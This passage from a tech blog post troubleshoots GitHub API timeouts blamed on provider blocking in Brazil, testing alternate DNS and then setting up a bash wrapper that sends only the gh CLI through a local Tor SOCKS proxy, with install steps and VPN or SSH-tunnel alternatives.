    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Result:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">curl: (28) Connection timed out after 8002 milliseconds</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>So, on my link, 9.9.9.9 did not fix it. But test yours. If your provider is only poisoning DNS, it may work.</p>
<p>On Arch with NetworkManager, it would be something like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S bind-tools curl
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">nmcli con show --active
</span></span><span class="line"><span class="cl">sudo nmcli con mod <span class="s2">&#34;YOUR CONNECTION NAME&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  ipv4.ignore-auto-dns yes <span class="se">\
</span></span></span><span class="line"><span class="cl">  ipv4.dns <span class="s2">&#34;9.9.9.9 149.112.112.112&#34;</span>
</span></span><span class="line"><span class="cl">sudo nmcli con down <span class="s2">&#34;YOUR CONNECTION NAME&#34;</span>
</span></span><span class="line"><span class="cl">sudo nmcli con up <span class="s2">&#34;YOUR CONNECTION NAME&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>On Ubuntu, same idea. Install the tools and adjust through NetworkManager:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo apt install dnsutils curl
</span></span><span class="line"><span class="cl">nmcli con show --active</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Or use the GNOME/KDE network settings screen and set manual DNS to <code>9.9.9.9</code> and <code>149.112.112.112</code> for the connection. Then disconnect and reconnect.</p>
<p>Test again:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">dig +short api.github.com A
</span></span><span class="line"><span class="cl">curl -4 -I --connect-timeout <span class="m">8</span> --max-time <span class="m">12</span> https://api.github.com/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If it works, good. You are done here.</p>
<p>If it keeps timing out, DNS was only the first layer. Then you need to route the connection through another path.</p>
<h2>Why I do not like the fixed-IP hack<span class="hx:absolute hx:-mt-20" id="why-i-do-not-like-the-fixed-ip-hack"></span>
    <a href="#why-i-do-not-like-the-fixed-ip-hack" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Another suggestion I saw was manually adding IPs to local DNS, like Pi-hole, Unbound, <code>/etc/hosts</code>, dnsmasq, that sort of thing. Example: &ldquo;resolve <code>api.github.com</code> to this other IP that works.&rdquo;</p>
<p>That can work for a few hours. I don&rsquo;t like it.</p>
<p>GitHub is large infrastructure. IPs change. Routes change. Load balancing changes. Regions change. The IP that works for somebody in Miami may be bad for you in São Paulo. The IP that works today may fail tomorrow. And if the block is a blackhole route at the provider, changing DNS to another IP may only trade one hole for another.</p>
<p>Pi-hole is great for a home network. Unbound is great. <code>/etc/hosts</code> saves you in an emergency. But pinning the IP of a large service like GitHub is how you forget an invisible hack and lose two hours next month trying to understand why only your machine is broken.</p>
<p>Use alternate DNS as a test. Use fixed IP only as a temporary bandage and document where you changed it.</p>
<h2>Fallback: SOCKS proxy only for GitHub tools<span class="hx:absolute hx:-mt-20" id="fallback-socks-proxy-only-for-github-tools"></span>
    <a href="#fallback-socks-proxy-only-for-github-tools" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>My solution was the least invasive thing I could make: a wrapper that starts a local SOCKS proxy through Tor and runs only the command I choose through it. It does not route the whole system. It does not touch the browser. It does not affect package managers, Steam, banking, nothing. Just <code>gh</code>, or whatever tool I explicitly call.</p>
<p>In my case, the wrapper lives at <code>~/.config/zsh/bin/github-proxy</code>, and the alias in <code>~/.config/zsh/aliases</code> does this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">alias</span> <span class="nv">gh</span><span class="o">=</span><span class="s1">&#39;$HOME/.config/zsh/bin/github-proxy gh&#39;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The wrapper is this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl"><span class="nb">set</span> -euo pipefail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">proxy_host</span><span class="o">=</span><span class="s2">&#34;127.0.0.1&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">proxy_port</span><span class="o">=</span><span class="s2">&#34;9050&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">tor_dir</span><span class="o">=</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">XDG_RUNTIME_DIR</span><span class="k">:-</span><span class="p">/tmp</span><span class="si">}</span><span class="s2">/github-proxy-tor&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">tor_rc</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$tor_dir</span><span class="s2">/torrc&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">tor_log</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$tor_dir</span><span class="s2">/tor.log&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="nv">$#</span> -eq <span class="m">0</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;usage: github-proxy &lt;command&gt; [args...]&#34;</span> &gt;<span class="p">&amp;</span><span class="m">2</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">2</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> ! ss -ltn <span class="s2">&#34;sport = :</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span> <span class="p">|</span> grep -q <span class="s2">&#34;</span><span class="nv">$proxy_host</span><span class="s2">:</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  mkdir -p <span class="s2">&#34;</span><span class="nv">$tor_dir</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  : &gt;<span class="s2">&#34;</span><span class="nv">$tor_rc</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  tor -f <span class="s2">&#34;</span><span class="nv">$tor_rc</span><span class="s2">&#34;</span> --SocksPort <span class="s2">&#34;</span><span class="nv">$proxy_host</span><span class="s2">:</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span> --DataDirectory <span class="s2">&#34;</span><span class="nv">$tor_dir</span><span class="s2">/data&#34;</span> &gt;<span class="s2">&#34;</span><span class="nv">$tor_log</span><span class="s2">&#34;</span> 2&gt;<span class="p">&amp;</span><span class="m">1</span> <span class="p">&amp;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">for</span> _ in <span class="o">{</span>1..60<span class="o">}</span><span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> grep -q <span class="s1">&#39;Bootstrapped 100%&#39;</span> <span class="s2">&#34;</span><span class="nv">$tor_log</span><span class="s2">&#34;</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">      <span class="nb">break</span>
</span></span><span class="line"><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> ! <span class="nb">kill</span> -0 <span class="s2">&#34;</span><span class="nv">$!</span><span class="s2">&#34;</span> 2&gt;/dev/null<span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">      <span class="nb">echo</span> <span class="s2">&#34;github-proxy: tor exited before bootstrap; see </span><span class="nv">$tor_log</span><span class="s2">&#34;</span> &gt;<span class="p">&amp;</span><span class="m">2</span>
</span></span><span class="line"><span class="cl">      <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">    <span class="k">fi</span>
</span></span><span class="line"><span class="cl">    sleep <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="k">done</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> ! grep -q <span class="s1">&#39;Bootstrapped 100%&#39;</span> <span class="s2">&#34;</span><span class="nv">$tor_log</span><span class="s2">&#34;</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">    <span class="nb">echo</span> <span class="s2">&#34;github-proxy: timed out waiting for tor bootstrap; see </span><span class="nv">$tor_log</span><span class="s2">&#34;</span> &gt;<span class="p">&amp;</span><span class="m">2</span>
</span></span><span class="line"><span class="cl">    <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl">  <span class="k">fi</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">export</span> <span class="nv">HTTPS_PROXY</span><span class="o">=</span><span class="s2">&#34;socks5h://</span><span class="nv">$proxy_host</span><span class="s2">:</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">export</span> <span class="nv">HTTP_PROXY</span><span class="o">=</span><span class="s2">&#34;socks5h://</span><span class="nv">$proxy_host</span><span class="s2">:</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">export</span> <span class="nv">ALL_PROXY</span><span class="o">=</span><span class="s2">&#34;socks5h://</span><span class="nv">$proxy_host</span><span class="s2">:</span><span class="nv">$proxy_port</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">exec</span> <span class="s2">&#34;</span><span class="nv">$@</span><span class="s2">&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Notice <code>socks5h</code>. That <code>h</code> matters. It makes DNS resolution happen through the proxy, not through your local network. If you use plain <code>socks5://</code>, depending on the library, DNS may still happen locally before the proxy is used. With <code>socks5h://</code>, the idea is: &ldquo;take the hostname to the other side and resolve it there.&rdquo;</p>
<h2>Installing on Arch<span class="hx:absolute hx:-mt-20" id="installing-on-arch"></span>
    <a href="#installing-on-arch" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>On Arch:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo pacman -S tor github-cli iproute2
</span></span><span class="line"><span class="cl">mkdir -p ~/.local/bin</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Create the script:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">nano ~/.local/bin/github-proxy</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Paste the wrapper above and make it executable:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">chmod +x ~/.local/bin/github-proxy</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Test it directly:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">~/.local/bin/github-proxy gh api rate_limit --jq .resources.core.limit</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>An authenticated account usually returns:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">5000</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>That is what happened here. Direct timed out. Through the wrapper, <code>gh api rate_limit --jq .resources.core.limit</code> returned <code>5000</code>.</p>
<p>Now add an alias to your shell.</p>
<p>ZSH:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;alias gh=&#39;</span><span class="nv">$HOME</span><span class="s2">/.local/bin/github-proxy gh&#39;&#34;</span> &gt;&gt; ~/.zshrc
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.zshrc</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Bash:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;alias gh=&#39;</span><span class="nv">$HOME</span><span class="s2">/.local/bin/github-proxy gh&#39;&#34;</span> &gt;&gt; ~/.bashrc
</span></span><span class="line"><span class="cl"><span class="nb">source</span> ~/.bashrc</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Test:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">gh api rate_limit --jq .resources.core.limit
</span></span><span class="line"><span class="cl">gh pr list</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>Ubuntu<span class="hx:absolute hx:-mt-20" id="ubuntu"></span>
    <a href="#ubuntu" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>On Ubuntu, the Tor package is easy:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo apt update
</span></span><span class="line"><span class="cl">sudo apt install tor iproute2 curl</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>For GitHub CLI, if the <code>gh</code> package is available in your version:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo apt install gh</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If it is not, follow the official GitHub CLI installation for Ubuntu/Debian. The rest is the same: create <code>~/.local/bin/github-proxy</code>, run <code>chmod +x</code>, and put the alias in <code>.bashrc</code> or <code>.zshrc</code>.</p>
<h2>Better alternatives than Tor<span class="hx:absolute hx:-mt-20" id="better-alternatives-than-tor"></span>
    <a href="#better-alternatives-than-tor" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Tor worked and it is convenient, but it is not the only option. Sometimes it is slow. Sometimes a service dislikes Tor exits. For <code>gh api</code> and listing PRs, fine. For heavier use, you may want something more predictable.</p>
<p>Reasonable options:</p>
<ul>
<li>Normal VPN: Proton, Mullvad, IVPN, your own WireGuard. Route everything or use split tunneling if you know how to configure it.</li>
<li>Tailscale with an exit node outside Brazil: clean, if you have a trusted machine outside the country or a VPS.</li>
<li>SSH SOCKS to a VPS: <code>ssh -N -D 127.0.0.1:9050 user@your-vps</code>. Then use the same <code>HTTPS_PROXY=socks5h://127.0.0.1:9050</code>.</li>
<li>Corporate proxy: if your company has egress outside Brazil, configure only the tools that need it.</li>
</ul>
<p>The care here is not changing everything at the same time. First prove that direct <code>api.github.com</code> fails. Then prove that another path works. Only then automate.</p>
